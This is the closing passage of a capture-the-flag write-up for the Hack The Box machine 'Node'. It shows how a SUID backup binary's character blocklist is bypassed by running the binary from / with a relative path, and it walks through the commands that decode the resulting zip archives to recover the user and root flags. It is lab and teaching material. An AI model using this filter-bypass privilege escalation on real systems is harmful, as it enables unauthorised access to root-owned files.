QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____. -~""??9VWQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ
QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ
QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ
QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ
QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ
QQQQQQQP'.yQQQQQQQQQQQP" <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ
QQQQQP'_a.<aamQQQW!<yF "!` .. "??$Qa "WQQQWTVP' "??' =QQmWWV?46/ ?QQQQQ
QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ
QQ[ j@mQP'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"` -?QzQ7L ]QQQ
QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa .QP4QQQQfWkl jQQQ
QE ]QkQk $D?` waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ
QQ,-Qm4Q/-QmQ6 "WWQma/ "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@ "QW@?$:.yQQQQ
QQm/-4wTQgQWQQ, ?4WWk 4waac -???$waQQQQQQQQF??'<mWWWWWQW?^ ` ]6QQ' yQQQQQ
QQQQw,-?QmWQQQQw a, ?QWWQQQw _. "????9VWaamQWV???" a j/ ]QQf jQQQQQQ
QQQQQQw,"4QQQQQQm,-$Qa ???4F jQQQQQwc <aaas _aaaaa 4QW ]E )WQ`=QQQQQQQ
QQQQQQWQ/ $QQQQQQQa ?H ]Wwa, ???9WWWh dQWWW,=QWWU? ?! )WQ ]QQQQQQQ
QQQQQQQQQc-QWQQQQQW6, QWQWQQQk <c jWQ ]QQQQQQQ
QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,., . .; QWQ.]QQQQQQQ
QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ
QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ
QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,, --~-- --- . _ssawmQQQQQQk 3QQQQWQ
QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ
QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ
QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ
QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW
QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,. -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ
QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ
successfully unzipping it, we get a troll root.txt so upon further inspection of the backup binary file using radare2 we see that we need to supply other arguements
in this function we see that we have a sanitiszation happening at the beginning of the function, and if it's 2 periods, it is going to push that b64 trollface string.
in this function we see that we are also unable to give it the /root parameter
and looking at the other functions we see that we are unable to use .. /root : & ` $ | /etc // / as parameters given to that backup binary
But as you can see we don't have just root, we have /root so we can simply go to the / directory, and execute the binary from there, we don't have to give it the / before passing the root parameter.
$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 home/tom/user.txt
UEsDBAoACQAAAJd9I0se46vsLQAAACEAAAARABwAaG9tZS90b20vdXNlci50eHRVVAkAA14VrFkYyF9edXgLAAEEAAAAAAToAwAAYg9ogU9H2FDWDWqaDu0w9XL3V2d03Xaa+Yqp/4M9tOD/HInQtG22oqn5GlP2UEsHCB7jq+wtAAAAIQAAAFBLAQIeAwoACQAAAJd9I0se46vsLQAAACEAAAARABgAAAAAAAEAAACggQAAAABob21lL3RvbS91c2VyLnR4dFVUBQADXhWsWXV4CwABBAAAAAAE6AMAAFBLBQYAAAAAAQABAFcAAACIAAAAAAA=
$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
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
Because we are ALREADY at / we don't need to say /root which is a bad character. so let's copy this locally :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ nano user.zip.b64
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat user.zip.b64| base64 -d > user.zip
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ 7z e user.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
Scanning the drive for archives:
1 file, 245 bytes (1 KiB)
Extracting archive: user.zip
--
Path = user.zip
Type = zip
Physical Size = 245
Enter password (will not be echoed):
Everything is Ok
Size: 33
Compressed: 245
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat user.txt
e1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we have the user flag ! now let's do the same with the root flag :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ nano root.zip.b64
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat root.zip.b64| base64 -d > root.zip
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ file root.zip
root.zip: Zip archive data, at least v1.0 to extract
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ 7z e root.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3858 bytes (4 KiB)
Extracting archive: root.zip
--
Path = root.zip
Type = zip
Physical Size = 3858
Enter password (will not be echoed):
Would you like to replace the existing file:
Path: ./root.txt
Size: 2584 bytes (3 KiB)
Modified: 2017-09-02 23:51:30
with the file from archive:
Path: root/root.txt
Size: 33 bytes (1 KiB)
Modified: 2017-09-03 14:46:40
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? A
Everything is Ok
Folders: 3
Files: 7
Size: 4268
Compressed: 3858
Giving it the password "magicword" we successfully unzip it just like the previous zip file we decoded :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
→ cat root.txt
17XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we have the root flag !
Here we can see the progress graph :
Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8
Contact: nihilist@contact.nowhere.moe (PGP)
